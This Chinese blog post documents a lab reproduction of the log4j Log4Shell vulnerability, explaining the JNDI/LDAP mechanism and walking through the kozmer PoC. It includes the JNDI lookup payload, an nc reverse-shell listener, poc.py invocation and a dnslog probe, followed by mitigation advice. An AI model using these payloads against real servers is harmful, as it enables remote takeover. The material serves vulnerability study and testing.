log4j RCE 漏洞

漏洞概述

记录本次log4j可以远程命令执行的漏洞。

  • CVE-2021-44228(log4shell):受影响版本:2.0-beta9(2013年9月发布)-2.14.1(2021年3月发布)

  • CVE-2021-45046:受影响版本: 2.0-beta9 to 2.15.0, excluding 2.12.2

log4j是一款基于java的日志工具,是Apache logging server的一部分,是使用非常广泛的一种java日志框架,所以受影响范围极广。

漏洞原理

本次漏洞主要涉及:LADP和JNDI。其中JNDI(java naming and directory interface)是底层api接口,为java程序提供命名和目录管理功能。java程序可以通过JNDI来访问LDAP服务。

调用代码格式: ${jndi:logging/context-name}

通过构造恶意代码,让服务器执行后访问攻击者的恶意LDAP服务器,然后下载执行具有恶意代码的类文件,实现远程命令执行,如建立回连shell。

恶意代码格式:${jndi:ldap://<host>:<port>/<payload>}

漏洞利用

漏洞利用条件

命令执行利用条件:除了log4j需要在受影响版本外,貌似还要java版本合适,java版本要求在于下面这个参数需设置为true,高版本默认false。

  • Dcom.sun.jndi.ldap.object.trustURLCodebase=true

漏洞利用步骤

实验环境:kozmer/log4j-shell-poc: A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. (github.com)

搭建实验环境

靶机设置的漏洞利用点在username位置。

git clone https://github.com/kozmer/log4j-shell-poc.git 
# 下载靶机环境 

cd log4j-shell-poc 
docker build -t log4j-shell-poc . 
docker run --network host log4j-shell-poc 
# 建立实验docker环境

利用过程

  1. 下载漏洞利用poc

  2. 下载所需版本的java包,下载地址:Index of java-local/jdk/8u202-b08 (huaweicloud.com)

# 第一步,下载poc.py 
git clone https://github.com/kozmer/log4j-shell-poc.git 
# 在kali中git到本地,其中有个poc.py,就是漏洞利用的脚本 

# 第二步,下载java包 
tar -xf jdk-8u202-linux-x64.tar.gz 
mv jdk-8u202 /usr/bin
# 将下载的java包解压,并移动到/usr/bin 

# 第三步,修改poc.py脚本 
# 编辑poc.py文件,将./jdk1.8.0_202/bin/java的参数全部替换为/usr/bin/jdk1.8.0_202/bin/java。 
# 这里替换的路径就是第二步java包所在路径。 

# 第四步,get shell 
nc -nlvp 9001 
# 本地开启监听 
python3 poc.py --userip 192.168.128.120 --webport 8000 --lport 9001 
# 执行poc文件 
# --userip,指定kali的ip 
# --webport,指定kali http服务的端口 
# --lport,指定本地正在监听的回连端口 

# 第五步,发送恶意代码 
${jndi:ldap://192.168.29.163:1389/a} 
# 脚本执行完会有提示,将以上内容发送给服务器。发送方式:浏览器访问靶机,并在username位置输入恶意代码。 

# 建立shell连接。

看了下代码,几个关键内容:

  1. 运行poc.py脚本后,根据传入的参数,生成Exploit.class,可以看generate_payload()和Exploit.java文件。

  2. 运行脚本后,会在本地启用ldap和http服务,用于靶机的回连。

  3. 根据靶机源代码注释,有问题的参数只设置了username部分,可以看LoginServlet.java文件。

漏洞测试思路

  1. 构建恶意代码:${jndi:ldap://n4erb9.dnslog.cn/exp},看dnslog.cn是否有收到请求记录,初步判断是否存在漏洞。

  2. 再定制恶意类文件,构造连接到攻击机的恶意代码,执行远程连接。

漏洞防护

官方给出了响应的修复建议:Log4j – Apache Log4j Security Vulnerabilities

防护总结来讲:要么升级到修复的版本,要么禁用JndiLookup.class。

参考连接

本次实验环境参考:

其他参考:

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值